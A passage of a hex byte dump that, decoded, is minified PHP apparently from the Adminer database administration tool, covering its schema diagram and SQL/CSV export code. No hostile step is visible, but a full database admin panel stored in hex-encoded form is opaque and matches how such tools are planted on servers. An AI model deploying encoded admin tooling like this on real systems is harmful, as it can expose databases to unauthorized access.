31 5D 5D 3D 61 72 72 61 79 28 24 42 5B 32 5D 2C 24 42 5B 33 5D 29 3B 24
41 66 5B 5D 3D 22 5C 6E 5C 74 27 22 2E 6A 73 5F 65 73 63 61 70 65 28 24
42 5B 31 5D 29 2E 22 27 3A 20 5B 20 24 42 5B 32 5D 2C 20 24 42 5B 33 5D
20 5D 22 3B 7D 24 53 66 3D 30 3B 24 5F 61 3D 2D 31 3B 24 61 66 3D 61 72
72 61 79 28 29 3B 24 4B 65 3D 61 72 72 61 79 28 29 3B 24 64 64 3D 61 72
72 61 79 28 29 3B 66 6F 72 65 61 63 68 28 74 61 62 6C 65 5F 73 74 61 74
75 73 28 27 27 2C 74 72 75 65 29 61 73 24 51 3D 3E 24 52 29 7B 69 66 28
69 73 5F 76 69 65 77 28 24 52 29 29 63 6F 6E 74 69 6E 75 65 3B 24 71 65
3D 30 3B 24 61 66 5B 24 51 5D 5B 22 66 69 65 6C 64 73 22 5D 3D 61 72 72
61 79 28 29 3B 66 6F 72 65 61 63 68 28 66 69 65 6C 64 73 28 24 51 29 61
73 24 45 3D 3E 24 6D 29 7B 24 71 65 2B 3D 31 2E 32 35 3B 24 6D 5B 22 70
6F 73 22 5D 3D 24 71 65 3B 24 61 66 5B 24 51 5D 5B 22 66 69 65 6C 64 73
22 5D 5B 24 45 5D 3D 24 6D 3B 7D 24 61 66 5B 24 51 5D 5B 22 70 6F 73 22
5D 3D 28 24 5F 66 5B 24 51 5D 3F 24 5F 66 5B 24 51 5D 3A 61 72 72 61 79
28 24 53 66 2C 30 29 29 3B 66 6F 72 65 61 63 68 28 24 62 2D 3E 66 6F 72
65 69 67 6E 4B 65 79 73 28 24 51 29 61 73 24 58 29 7B 69 66 28 21 24 58
5B 22 64 62 22 5D 29 7B 24 62 64 3D 24 5F 61 3B 69 66 28 24 5F 66 5B 24
51 5D 5B 31 5D 7C 7C 24 5F 66 5B 24 58 5B 22 74 61 62 6C 65 22 5D 5D 5B
31 5D 29 24 62 64 3D 6D 69 6E 28 66 6C 6F 61 74 76 61 6C 28 24 5F 66 5B
24 51 5D 5B 31 5D 29 2C 66 6C 6F 61 74 76 61 6C 28 24 5F 66 5B 24 58 5B
22 74 61 62 6C 65 22 5D 5D 5B 31 5D 29 29 2D 31 3B 65 6C 73 65 24 5F 61
2D 3D 2E 31 3B 77 68 69 6C 65 28 24 64 64 5B 28 73 74 72 69 6E 67 29 24
62 64 5D 29 24 62 64 2D 3D 2E 30 30 30 31 3B 24 61 66 5B 24 51 5D 5B 22
72 65 66 65 72 65 6E 63 65 73 22 5D 5B 24 58 5B 22 74 61 62 6C 65 22 5D
5D 5B 28 73 74 72 69 6E 67 29 24 62 64 5D 3D 61 72 72 61 79 28 24 58 5B
22 73 6F 75 72 63 65 22 5D 2C 24 58 5B 22 74 61 72 67 65 74 22 5D 29 3B
24 4B 65 5B 24 58 5B 22 74 61 62 6C 65 22 5D 5D 5B 24 51 5D 5B 28 73 74
72 69 6E 67 29 24 62 64 5D 3D 24 58 5B 22 74 61 72 67 65 74 22 5D 3B 24
64 64 5B 28 73 74 72 69 6E 67 29 24 62 64 5D 3D 74 72 75 65 3B 7D 7D 24
53 66 3D 6D 61 78 28 24 53 66 2C 24 61 66 5B 24 51 5D 5B 22 70 6F 73 22
5D 5B 30 5D 2B 32 2E 35 2B 24 71 65 29 3B 7D 65 63 68 6F 27 3C 64 69 76
20 69 64 3D 22 73 63 68 65 6D 61 22 20 73 74 79 6C 65 3D 22 68 65 69 67
68 74 3A 20 27 2C 24 53 66 2C 27 65 6D 3B 22 20 6F 6E 73 65 6C 65 63 74
73 74 61 72 74 3D 22 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 22 3E 0A 3C
73 63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63
72 69 70 74 22 3E 0A 76 61 72 20 74 61 62 6C 65 50 6F 73 20 3D 20 7B 27
2C 69 6D 70 6C 6F 64 65 28 22 2C 22 2C 24 41 66 29 2E 22 5C 6E 22 2C 27
7D 3B 0A 76 61 72 20 65 6D 20 3D 20 64 6F 63 75 6D 65 6E 74 2E 67 65 74
45 6C 65 6D 65 6E 74 42 79 49 64 28 5C 27 73 63 68 65 6D 61 5C 27 29 2E
6F 66 66 73 65 74 48 65 69 67 68 74 20 2F 20 27 2C 24 53 66 2C 27 3B 0A
64 6F 63 75 6D 65 6E 74 2E 6F 6E 6D 6F 75 73 65 6D 6F 76 65 20 3D 20 73
63 68 65 6D 61 4D 6F 75 73 65 6D 6F 76 65 3B 0A 64 6F 63 75 6D 65 6E 74
2E 6F 6E 6D 6F 75 73 65 75 70 20 3D 20 66 75 6E 63 74 69 6F 6E 20 28 65
76 29 20 7B 0A 09 73 63 68 65 6D 61 4D 6F 75 73 65 75 70 28 65 76 2C 20
5C 27 27 2C 6A 73 5F 65 73 63 61 70 65 28 44 42 29 2C 27 5C 27 29 3B 0A
7D 3B 0A 3C 2F 73 63 72 69 70 74 3E 0A 27 3B 66 6F 72 65 61 63 68 28 24
61 66 0A 61 73 24 45 3D 3E 24 51 29 7B 65 63 68 6F 22 3C 64 69 76 20 63
6C 61 73 73 3D 27 74 61 62 6C 65 27 20 73 74 79 6C 65 3D 27 74 6F 70 3A
20 22 2E 24 51 5B 22 70 6F 73 22 5D 5B 30 5D 2E 22 65 6D 3B 20 6C 65 66
74 3A 20 22 2E 24 51 5B 22 70 6F 73 22 5D 5B 31 5D 2E 22 65 6D 3B 27 20
6F 6E 6D 6F 75 73 65 64 6F 77 6E 3D 27 73 63 68 65 6D 61 4D 6F 75 73 65
64 6F 77 6E 28 74 68 69 73 2C 20 65 76 65 6E 74 29 3B 27 3E 22 2C 27 3C
61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 29 2E 27 74 61 62 6C 65 3D 27
2E 75 72 6C 65 6E 63 6F 64 65 28 24 45 29 2E 27 22 3E 3C 62 3E 27 2E 68
28 24 45 29 2E 22 3C 2F 62 3E 3C 2F 61 3E 22 3B 66 6F 72 65 61 63 68 28
24 51 5B 22 66 69 65 6C 64 73 22 5D 61 73 24 6D 29 7B 24 58 3D 27 3C 73
70 61 6E 27 2E 74 79 70 65 5F 63 6C 61 73 73 28 24 6D 5B 22 74 79 70 65
22 5D 29 2E 27 20 74 69 74 6C 65 3D 22 27 2E 68 28 24 6D 5B 22 66 75 6C
6C 5F 74 79 70 65 22 5D 2E 28 24 6D 5B 22 6E 75 6C 6C 22 5D 3F 22 20 4E
55 4C 4C 22 3A 27 27 29 29 2E 27 22 3E 27 2E 68 28 24 6D 5B 22 66 69 65
6C 64 22 5D 29 2E 27 3C 2F 73 70 61 6E 3E 27 3B 65 63 68 6F 22 3C 62 72
3E 22 2E 28 24 6D 5B 22 70 72 69 6D 61 72 79 22 5D 3F 22 3C 69 3E 24 58
3C 2F 69 3E 22 3A 24 58 29 3B 7D 66 6F 72 65 61 63 68 28 28 61 72 72 61
79 29 24 51 5B 22 72 65 66 65 72 65 6E 63 65 73 22 5D 61 73 24 46 66 3D
3E 24 4D 65 29 7B 66 6F 72 65 61 63 68 28 24 4D 65 0A 61 73 24 62 64 3D
3E 24 48 65 29 7B 24 63 64 3D 24 62 64 2D 24 5F 66 5B 24 45 5D 5B 31 5D
3B 24 73 3D 30 3B 66 6F 72 65 61 63 68 28 24 48 65 5B 30 5D 61 73 24 6A
66 29 65 63 68 6F 22 5C 6E 3C 64 69 76 20 63 6C 61 73 73 3D 27 72 65 66
65 72 65 6E 63 65 73 27 20 74 69 74 6C 65 3D 27 22 2E 68 28 24 46 66 29
2E 22 27 20 69 64 3D 27 72 65 66 73 24 62 64 2D 22 2E 28 24 73 2B 2B 29
2E 22 27 20 73 74 79 6C 65 3D 27 6C 65 66 74 3A 20 24 63 64 22 2E 22 65
6D 3B 20 74 6F 70 3A 20 22 2E 24 51 5B 22 66 69 65 6C 64 73 22 5D 5B 24
6A 66 5D 5B 22 70 6F 73 22 5D 2E 22 65 6D 3B 20 70 61 64 64 69 6E 67 2D
74 6F 70 3A 20 2E 35 65 6D 3B 27 3E 3C 64 69 76 20 73 74 79 6C 65 3D 27
62 6F 72 64 65 72 2D 74 6F 70 3A 20 31 70 78 20 73 6F 6C 69 64 20 47 72
61 79 3B 20 77 69 64 74 68 3A 20 22 2E 28 2D 24 63 64 29 2E 22 65 6D 3B
27 3E 3C 2F 64 69 76 3E 3C 2F 64 69 76 3E 22 3B 7D 7D 66 6F 72 65 61 63
68 28 28 61 72 72 61 79 29 24 4B 65 5B 24 45 5D 61 73 24 46 66 3D 3E 24
4D 65 29 7B 66 6F 72 65 61 63 68 28 24 4D 65 0A 61 73 24 62 64 3D 3E 24
66 29 7B 24 63 64 3D 24 62 64 2D 24 5F 66 5B 24 45 5D 5B 31 5D 3B 24 73
3D 30 3B 66 6F 72 65 61 63 68 28 24 66 0A 61 73 24 45 66 29 65 63 68 6F
22 5C 6E 3C 64 69 76 20 63 6C 61 73 73 3D 27 72 65 66 65 72 65 6E 63 65
73 27 20 74 69 74 6C 65 3D 27 22 2E 68 28 24 46 66 29 2E 22 27 20 69 64
3D 27 72 65 66 64 24 62 64 2D 22 2E 28 24 73 2B 2B 29 2E 22 27 20 73 74
79 6C 65 3D 27 6C 65 66 74 3A 20 24 63 64 22 2E 22 65 6D 3B 20 74 6F 70
3A 20 22 2E 24 51 5B 22 66 69 65 6C 64 73 22 5D 5B 24 45 66 5D 5B 22 70
6F 73 22 5D 2E 22 65 6D 3B 20 68 65 69 67 68 74 3A 20 31 2E 32 35 65 6D
3B 20 62 61 63 6B 67 72 6F 75 6E 64 3A 20 75 72 6C 28 22 2E 68 28 70 72
65 67 5F 72 65 70 6C 61 63 65 28 22 7E 5C 5C 3F 2E 2A 7E 22 2C 22 22 2C
4D 45 29 29 2E 22 3F 66 69 6C 65 3D 61 72 72 6F 77 2E 67 69 66 29 20 6E
6F 2D 72 65 70 65 61 74 20 72 69 67 68 74 20 63 65 6E 74 65 72 3B 26 61
6D 70 3B 76 65 72 73 69 6F 6E 3D 33 2E 37 2E 31 27 3E 3C 64 69 76 20 73
74 79 6C 65 3D 27 68 65 69 67 68 74 3A 20 2E 35 65 6D 3B 20 62 6F 72 64
65 72 2D 62 6F 74 74 6F 6D 3A 20 31 70 78 20 73 6F 6C 69 64 20 47 72 61
79 3B 20 77 69 64 74 68 3A 20 22 2E 28 2D 24 63 64 29 2E 22 65 6D 3B 27
3E 3C 2F 64 69 76 3E 3C 2F 64 69 76 3E 22 3B 7D 7D 65 63 68 6F 22 5C 6E
3C 2F 64 69 76 3E 5C 6E 22 3B 7D 66 6F 72 65 61 63 68 28 24 61 66 0A 61
73 24 45 3D 3E 24 51 29 7B 66 6F 72 65 61 63 68 28 28 61 72 72 61 79 29
24 51 5B 22 72 65 66 65 72 65 6E 63 65 73 22 5D 61 73 24 46 66 3D 3E 24
4D 65 29 7B 66 6F 72 65 61 63 68 28 24 4D 65 0A 61 73 24 62 64 3D 3E 24
48 65 29 7B 24 78 64 3D 24 53 66 3B 24 70 64 3D 2D 31 30 3B 66 6F 72 65
61 63 68 28 24 48 65 5B 30 5D 61 73 24 79 3D 3E 24 6A 66 29 7B 24 72 65
3D 24 51 5B 22 70 6F 73 22 5D 5B 30 5D 2B 24 51 5B 22 66 69 65 6C 64 73
22 5D 5B 24 6A 66 5D 5B 22 70 6F 73 22 5D 3B 24 73 65 3D 24 61 66 5B 24
46 66 5D 5B 22 70 6F 73 22 5D 5B 30 5D 2B 24 61 66 5B 24 46 66 5D 5B 22
66 69 65 6C 64 73 22 5D 5B 24 48 65 5B 31 5D 5B 24 79 5D 5D 5B 22 70 6F
73 22 5D 3B 24 78 64 3D 6D 69 6E 28 24 78 64 2C 24 72 65 2C 24 73 65 29
3B 24 70 64 3D 6D 61 78 28 24 70 64 2C 24 72 65 2C 24 73 65 29 3B 7D 65
63 68 6F 22 3C 64 69 76 20 63 6C 61 73 73 3D 27 72 65 66 65 72 65 6E 63
65 73 27 20 69 64 3D 27 72 65 66 6C 24 62 64 27 20 73 74 79 6C 65 3D 27
6C 65 66 74 3A 20 24 62 64 22 2E 22 65 6D 3B 20 74 6F 70 3A 20 24 78 64
22 2E 22 65 6D 3B 20 70 61 64 64 69 6E 67 3A 20 2E 35 65 6D 20 30 3B 27
3E 3C 64 69 76 20 73 74 79 6C 65 3D 27 62 6F 72 64 65 72 2D 72 69 67 68
74 3A 20 31 70 78 20 73 6F 6C 69 64 20 47 72 61 79 3B 20 6D 61 72 67 69
6E 2D 74 6F 70 3A 20 31 70 78 3B 20 68 65 69 67 68 74 3A 20 22 2E 28 24
70 64 2D 24 78 64 29 2E 22 65 6D 3B 27 3E 3C 2F 64 69 76 3E 3C 2F 64 69
76 3E 5C 6E 22 3B 7D 7D 7D 65 63 68 6F 27 3C 2F 64 69 76 3E 0A 3C 70 3E
3C 61 20 68 72 65 66 3D 22 27 2C 68 28 4D 45 2E 22 73 63 68 65 6D 61 3D
22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 65 61 29 29 2C 27 22 20 69 64 3D
22 73 63 68 65 6D 61 2D 6C 69 6E 6B 22 3E 50 65 72 6D 61 6E 65 6E 74 20
6C 69 6E 6B 3C 2F 61 3E 0A 27 3B 7D 65 6C 73 65 69 66 28 69 73 73 65 74
28 24 5F 47 45 54 5B 22 64 75 6D 70 22 5D 29 29 7B 24 61 3D 24 5F 47 45
54 5B 22 64 75 6D 70 22 5D 3B 69 66 28 24 5F 50 4F 53 54 26 26 21 24 6C
29 7B 24 63 62 3D 22 22 3B 66 6F 72 65 61 63 68 28 61 72 72 61 79 28 22
6F 75 74 70 75 74 22 2C 22 66 6F 72 6D 61 74 22 2C 22 64 62 5F 73 74 79
6C 65 22 2C 22 72 6F 75 74 69 6E 65 73 22 2C 22 65 76 65 6E 74 73 22 2C
22 74 61 62 6C 65 5F 73 74 79 6C 65 22 2C 22 61 75 74 6F 5F 69 6E 63 72
65 6D 65 6E 74 22 2C 22 74 72 69 67 67 65 72 73 22 2C 22 64 61 74 61 5F
73 74 79 6C 65 22 29 61 73 24 79 29 24 63 62 2E 3D 22 26 24 79 3D 22 2E
75 72 6C 65 6E 63 6F 64 65 28 24 5F 50 4F 53 54 5B 24 79 5D 29 3B 63 6F
6F 6B 69 65 28 22 61 64 6D 69 6E 65 72 5F 65 78 70 6F 72 74 22 2C 73 75
62 73 74 72 28 24 63 62 2C 31 29 29 3B 24 53 3D 61 72 72 61 79 5F 66 6C
69 70 28 28 61 72 72 61 79 29 24 5F 50 4F 53 54 5B 22 74 61 62 6C 65 73
22 5D 29 2B 61 72 72 61 79 5F 66 6C 69 70 28 28 61 72 72 61 79 29 24 5F
50 4F 53 54 5B 22 64 61 74 61 22 5D 29 3B 24 62 63 3D 64 75 6D 70 5F 68
65 61 64 65 72 73 28 28 63 6F 75 6E 74 28 24 53 29 3D 3D 31 3F 6B 65 79
28 24 53 29 3A 44 42 29 2C 28 44 42 3D 3D 22 22 7C 7C 63 6F 75 6E 74 28
24 53 29 3E 31 29 29 3B 24 51 63 3D 65 72 65 67 28 27 73 71 6C 27 2C 24
5F 50 4F 53 54 5B 22 66 6F 72 6D 61 74 22 5D 29 3B 69 66 28 24 51 63 29
65 63 68 6F 22 2D 2D 20 41 64 6D 69 6E 65 72 20 24 67 61 20 22 2E 24 7A
62 5B 44 52 49 56 45 52 5D 2E 22 20 64 75 6D 70 0A 0A 22 2E 28 24 78 21
3D 22 73 71 6C 22 3F 22 22 3A 22 53 45 54 20 4E 41 4D 45 53 20 75 74 66
38 3B 0A 22 2E 28 24 5F 50 4F 53 54 5B 22 64 61 74 61 5F 73 74 79 6C 65
22 5D 3F 22 53 45 54 20 66 6F 72 65 69 67 6E 5F 6B 65 79 5F 63 68 65 63
6B 73 20 3D 20 30 3B 0A 53 45 54 20 74 69 6D 65 5F 7A 6F 6E 65 20 3D 20
22 2E 71 28 73 75 62 73 74 72 28 70 72 65 67 5F 72 65 70 6C 61 63 65 28
27 7E 5E 5B 5E 2D 5D 7E 27 2C 27 2B 5C 30 27 2C 24 67 2D 3E 72 65 73 75
6C 74 28 22 53 45 4C 45 43 54 20 54 49 4D 45 44 49 46 46 28 4E 4F 57 28
29 2C 20 55 54 43 5F 54 49 4D 45 53 54 41 4D 50 29 22 29 29 2C 30 2C 36
29 29 2E 22 3B 0A 53 45 54 20 73 71 6C 5F 6D 6F 64 65 20 3D 20 27 4E 4F
5F 41 55 54 4F 5F 56 41 4C 55 45 5F 4F 4E 5F 5A 45 52 4F 27 3B 0A 22 3A
22 22 29 2E 22 0A 22 29 3B 24 73 66 3D 24 5F 50 4F 53 54 5B 22 64 62 5F
73 74 79 6C 65 22 5D 3B 24 6A 3D 61 72 72 61 79 28 44 42 29 3B 69 66 28
44 42 3D 3D 22 22 29 7B 24 6A 3D 24 5F 50 4F 53 54 5B 22 64 61 74 61 62
61 73 65 73 22 5D 3B 69 66 28 69 73 5F 73 74 72 69 6E 67 28 24 6A 29 29
24 6A 3D 65 78 70 6C 6F 64 65 28 22 5C 6E 22 2C 72 74 72 69 6D 28 73 74
72 5F 72 65 70 6C 61 63 65 28 22 5C 72 22 2C 22 22 2C 24 6A 29 2C 22 5C
6E 22 29 29 3B 7D 66 6F 72 65 61 63 68 28 28 61 72 72 61 79 29 24 6A 0A
61 73 24 6B 29 7B 24 62 2D 3E 64 75 6D 70 44 61 74 61 62 61 73 65 28 24
6B 29 3B 69 66 28 24 67 2D 3E 73 65 6C 65 63 74 5F 64 62 28 24 6B 29 29
7B 69 66 28 24 51 63 26 26 65 72 65 67 28 27 43 52 45 41 54 45 27 2C 24
73 66 29 26 26 28 24 69 3D 24 67 2D 3E 72 65 73 75 6C 74 28 22 53 48 4F
57 20 43 52 45 41 54 45 20 44 41 54 41 42 41 53 45 20 22 2E 69 64 66 5F
65 73 63 61 70 65 28 24 6B 29 2C 31 29 29 29 7B 69 66 28 24 73 66 3D 3D
22 44 52 4F 50 2B 43 52 45 41 54 45 22 29 65 63 68 6F 22 44 52 4F 50 20
44 41 54 41 42 41 53 45 20 49 46 20 45 58 49 53 54 53 20 22 2E 69 64 66
5F 65 73 63 61 70 65 28 24 6B 29 2E 22 3B 5C 6E 22 3B 65 63 68 6F 22 24
69 3B 5C 6E 22 3B 7D 69 66 28 24 51 63 29 7B 69 66 28 24 73 66 29 65 63
68 6F 0A 75 73 65 5F 73 71 6C 28 24 6B 29 2E 22 3B 5C 6E 5C 6E 22 3B 24
63 65 3D 22 22 3B 69 66 28 24 5F 50 4F 53 54 5B 22 72 6F 75 74 69 6E 65
73 22 5D 29 7B 66 6F 72 65 61 63 68 28 61 72 72 61 79 28 22 46 55 4E 43
54 49 4F 4E 22 2C 22 50 52 4F 43 45 44 55 52 45 22 29 61 73 24 56 65 29
7B 66 6F 72 65 61 63 68 28 67 65 74 5F 72 6F 77 73 28 22 53 48 4F 57 20
24 56 65 20 53 54 41 54 55 53 20 57 48 45 52 45 20 44 62 20 3D 20 22 2E
71 28 24 6B 29 2C 6E 75 6C 6C 2C 22 2D 2D 20 22 29 61 73 24 4C 29 24 63
65 2E 3D 28 24 73 66 21 3D 27 44 52 4F 50 2B 43 52 45 41 54 45 27 3F 22
44 52 4F 50 20 24 56 65 20 49 46 20 45 58 49 53 54 53 20 22 2E 69 64 66
5F 65 73 63 61 70 65 28 24 4C 5B 22 4E 61 6D 65 22 5D 29 2E 22 3B 3B 5C
6E 22 3A 22 22 29 2E 72 65 6D 6F 76 65 5F 64 65 66 69 6E 65 72 28 24 67
2D 3E 72 65 73 75 6C 74 28 22 53 48 4F 57 20 43 52 45 41 54 45 20 24 56
65 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 24 4C 5B 22 4E 61 6D 65 22
5D 29 2C 32 29 29 2E 22 3B 3B 5C 6E 5C 6E 22 3B 7D 7D 69 66 28 24 5F 50
4F 53 54 5B 22 65 76 65 6E 74 73 22 5D 29 7B 66 6F 72 65 61 63 68 28 67
65 74 5F 72 6F 77 73 28 22 53 48 4F 57 20 45 56 45 4E 54 53 22 2C 6E 75
6C 6C 2C 22 2D 2D 20 22 29 61 73 24 4C 29 24 63 65 2E 3D 28 24 73 66 21
3D 27 44 52 4F 50 2B 43 52 45 41 54 45 27 3F 22 44 52 4F 50 20 45 56 45
4E 54 20 49 46 20 45 58 49 53 54 53 20 22 2E 69 64 66 5F 65 73 63 61 70
65 28 24 4C 5B 22 4E 61 6D 65 22 5D 29 2E 22 3B 3B 5C 6E 22 3A 22 22 29
2E 72 65 6D 6F 76 65 5F 64 65 66 69 6E 65 72 28 24 67 2D 3E 72 65 73 75
6C 74 28 22 53 48 4F 57 20 43 52 45 41 54 45 20 45 56 45 4E 54 20 22 2E
69 64 66 5F 65 73 63 61 70 65 28 24 4C 5B 22 4E 61 6D 65 22 5D 29 2C 33
29 29 2E 22 3B 3B 5C 6E 5C 6E 22 3B 7D 69 66 28 24 63 65 29 65 63 68 6F
22 44 45 4C 49 4D 49 54 45 52 20 3B 3B 5C 6E 5C 6E 24 63 65 22 2E 22 44
45 4C 49 4D 49 54 45 52 20 3B 5C 6E 5C 6E 22 3B 7D 69 66 28 24 5F 50 4F
53 54 5B 22 74 61 62 6C 65 5F 73 74 79 6C 65 22 5D 7C 7C 24 5F 50 4F 53
54 5B 22 64 61 74 61 5F 73 74 79 6C 65 22 5D 29 7B 24 73 67 3D 61 72 72
61 79 28 29 3B 66 6F 72 65 61 63 68 28 74 61 62 6C 65 5F 73 74 61 74 75
73 28 27 27 2C 74 72 75 65 29 61 73 24 45 3D 3E 24 52 29 7B 24 51 3D 28
44 42 3D 3D 22 22 7C 7C 69 6E 5F 61 72 72 61 79 28 24 45 2C 28 61 72 72
61 79 29 24 5F 50 4F 53 54 5B 22 74 61 62 6C 65 73 22 5D 29 29 3B 24 69
62 3D 28 44 42 3D 3D 22 22 7C 7C 69 6E 5F 61 72 72 61 79 28 24 45 2C 28
61 72 72 61 79 29 24 5F 50 4F 53 54 5B 22 64 61 74 61 22 5D 29 29 3B 69
66 28 24 51 7C 7C 24 69 62 29 7B 69 66 28 24 62 63 3D 3D 22 74 61 72 22
29 7B 24 51 66 3D 6E 65 77 0A 54 6D 70 46 69 6C 65 3B 6F 62 5F 73 74 61
72 74 28 61 72 72 61 79 28 24 51 66 2C 27 77 72 69 74 65 27 29 2C 31 65
35 29 3B 7D 24 62 2D 3E 64 75 6D 70 54 61 62 6C 65 28 24 45 2C 28 24 51
3F 24 5F 50 4F 53 54 5B 22 74 61 62 6C 65 5F 73 74 79 6C 65 22 5D 3A 22
22 29 2C 28 69 73 5F 76 69 65 77 28 24 52 29 3F 32 3A 30 29 29 3B 69 66
28 69 73 5F 76 69 65 77 28 24 52 29 29 24 73 67 5B 5D 3D 24 45 3B 65 6C
73 65 69 66 28 24 69 62 29 7B 24 6E 3D 66 69 65 6C 64 73 28 24 45 29 3B
24 62 2D 3E 64 75 6D 70 44 61 74 61 28 24 45 2C 24 5F 50 4F 53 54 5B 22
64 61 74 61 5F 73 74 79 6C 65 22 5D 2C 22 53 45 4C 45 43 54 20 2A 22 2E
63 6F 6E 76 65 72 74 5F 66 69 65 6C 64 73 28 24 6E 2C 24 6E 29 2E 22 20
46 52 4F 4D 20 22 2E 74 61 62 6C 65 28 24 45 29 29 3B 7D 69 66 28 24 51
63 26 26 24 5F 50 4F 53 54 5B 22 74 72 69 67 67 65 72 73 22 5D 26 26 24
51 26 26 28 24 5A 66 3D 74 72 69 67 67 65 72 5F 73 71 6C 28 24 45 2C 24
5F 50 4F 53 54 5B 22 74 61 62 6C 65 5F 73 74 79 6C 65 22 5D 29 29 29 65
63 68 6F 22 5C 6E 44 45 4C 49 4D 49 54 45 52 20 3B 3B 5C 6E 24 5A 66 5C
6E 44 45 4C 49 4D 49 54 45 52 20 3B 5C 6E 22 3B 69 66 28 24 62 63 3D 3D
22 74 61 72 22 29 7B 6F 62 5F 65 6E 64 5F 66 6C 75 73 68 28 29 3B 74 61
72 5F 66 69 6C 65 28 28 44 42 21 3D 22 22 3F 22 22 3A 22 24 6B 2F 22 29
2E 22 24 45 2E 63 73 76 22 2C 24 51 66 29 3B 7D 65 6C 73 65 69 66 28 24
51 63 29 65 63 68 6F 22 5C 6E 22 3B 7D 7D 66 6F 72 65 61 63 68 28 24 73
67 0A 61 73 24 72 67 29 24 62 2D 3E 64 75 6D 70 54 61 62 6C 65 28 24 72
67 2C 24 5F 50 4F 53 54 5B 22 74 61 62 6C 65 5F 73 74 79 6C 65 22 5D 2C
31 29 3B 69 66 28 24 62 63 3D 3D 22 74 61 72 22 29 65 63 68 6F 0A 70 61
63 6B 28 22 78 35 31 32 22 29 3B 7D 7D 7D 69 66 28 24 51 63 29 65 63 68
6F 22 2D 2D 20 22 2E 24 67 2D 3E 72 65 73 75 6C 74 28 22 53 45 4C 45 43
54 20 4E 4F 57 28 29 22 29 2E 22 5C 6E 22 3B 65 78 69 74 3B 7D 70 61 67
65 5F 68 65 61 64 65 72 28 27 45 78 70 6F 72 74 27 2C 24 6C 2C 28 24 5F
47 45 54 5B 22 65 78 70 6F 72 74 22 5D 21 3D 22 22 3F 61 72 72 61 79 28
22 74 61 62 6C 65 22 3D 3E 24 5F 47 45 54 5B 22 65 78 70 6F 72 74 22 5D
29 3A 61 72 72 61 79 28 29 29 2C 44 42 29 3B 65 63 68 6F 27 0A 3C 66 6F
72 6D 20 61 63 74 69 6F 6E 3D 22 22 20 6D 65 74 68 6F 64 3D 22 70 6F 73
74 22 3E 0A 3C 74 61 62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 22
30 22 3E 0A 27 3B 24 6D 62 3D 61 72 72 61 79 28 27 27 2C 27 55 53 45 27
2C 27 44 52 4F 50 2B 43 52 45 41 54 45 27 2C 27 43 52 45 41 54 45 27 29
3B 24 42 66 3D 61 72 72 61 79 28 27 27 2C 27 44 52 4F 50 2B 43 52 45 41
54 45 27 2C 27 43 52 45 41 54 45 27 29 3B 24 6A 62 3D 61 72 72 61 79 28
27 27 2C 27 54 52 55 4E 43 41 54 45 2B 49 4E 53 45 52 54 27 2C 27 49 4E
53 45 52 54 27 29 3B 69 66 28 24 78 3D 3D 22 73 71 6C 22 29 24 6A 62 5B
5D 3D 27 49 4E 53 45 52 54 2B 55 50 44 41 54 45 27 3B 70 61 72 73 65 5F
73 74 72 28 24 5F 43 4F 4F 4B 49 45 5B 22 61 64 6D 69 6E 65 72 5F 65 78
70 6F 72 74 22 5D 2C 24 4C 29 3B 69 66 28 21 24 4C 29 24 4C 3D 61 72 72
61 79 28 22 6F 75 74 70 75 74 22 3D 3E 22 74 65 78 74 22 2C 22 66 6F 72
6D 61 74 22 3D 3E 22 73 71 6C 22 2C 22 64 62 5F 73 74 79 6C 65 22 3D 3E
28 44 42 21 3D 22 22 3F 22 22 3A 22 43 52 45 41 54 45 22 29 2C 22 74 61
62 6C 65 5F 73 74 79 6C 65 22 3D 3E 22 44 52 4F 50 2B 43 52 45 41 54 45
22 2C 22 64 61 74 61 5F 73 74 79 6C 65 22 3D 3E 22 49 4E 53 45 52 54 22
29 3B 69 66 28 21 69 73 73 65 74 28 24 4C 5B 22 65 76 65 6E 74 73 22 5D
29 29 7B 24 4C 5B 22 72 6F 75 74 69 6E 65 73 22 5D 3D 24 4C 5B 22 65 76
65 6E 74 73 22 5D 3D 28 24 5F 47 45 54 5B 22 64 75 6D 70 22 5D 3D 3D 22
22 29 3B 24 4C 5B 22 74 72 69 67 67 65 72 73 22 5D 3D 24 4C 5B 22 74 61
62 6C 65 5F 73 74 79 6C 65 22 5D 3B 7D 65 63 68 6F 22 3C 74 72 3E 3C 74
68 3E 22 2E 27 4F 75 74 70 75 74 27 2E 22 3C 74 64 3E 22 2E 68 74 6D 6C
5F 73 65 6C 65 63 74 28 22 6F 75 74 70 75 74 22 2C 24 62 2D 3E 64 75 6D
70 4F 75 74 70 75 74 28 29 2C 24 4C 5B 22 6F 75 74 70 75 74 22 5D 2C 30
29 2E 22 5C 6E 22 3B 65 63 68 6F 22 3C 74 72 3E 3C 74 68 3E 22 2E 27 46
6F 72 6D 61 74 27 2E 22 3C 74 64 3E 22 2E 68 74 6D 6C 5F 73 65 6C 65 63
74 28 22 66 6F 72 6D 61 74 22 2C 24 62 2D 3E 64 75 6D 70 46 6F 72 6D 61
74 28 29 2C 24 4C 5B 22 66 6F 72 6D 61 74 22 5D 2C 30 29 2E 22 5C 6E 22
3B 65 63 68 6F 28 24 78 3D 3D 22 73 71 6C 69 74 65 22 3F 22 22 3A 22 3C
74 72 3E 3C 74 68 3E 22 2E 27 44 61 74 61 62 61 73 65 27 2E 22 3C 74 64
3E 22 2E 68 74 6D 6C 5F 73 65 6C 65 63 74 28 27 64 62 5F 73 74 79 6C 65
27 2C 24 6D 62 2C 24 4C 5B 22 64 62 5F 73 74 79 6C 65 22 5D 29 2E 28 73
75 70 70 6F 72 74 28 22 72 6F 75 74 69 6E 65 22 29 3F 63 68 65 63 6B 62
6F 78 28 22 72 6F 75 74 69 6E 65 73 22 2C 31 2C 24 4C 5B 22 72 6F 75 74
69 6E 65 73 22 5D 2C 27 52 6F 75 74 69 6E 65 73 27 29 3A 22 22 29 2E 28
73 75 70 70 6F 72 74 28 22 65 76 65 6E 74 22 29 3F 63 68 65 63 6B 62 6F
78 28 22 65 76 65 6E 74 73 22 2C 31 2C 24 4C 5B 22 65 76 65 6E 74 73 22
5D 2C 27 45 76 65 6E 74 73 27 29 3A 22 22 29 29 2C 22 3C 74 72 3E 3C 74
68 3E 22 2E 27 54 61 62 6C 65 73 27 2E 22 3C 74 64 3E 22 2E 68 74 6D 6C
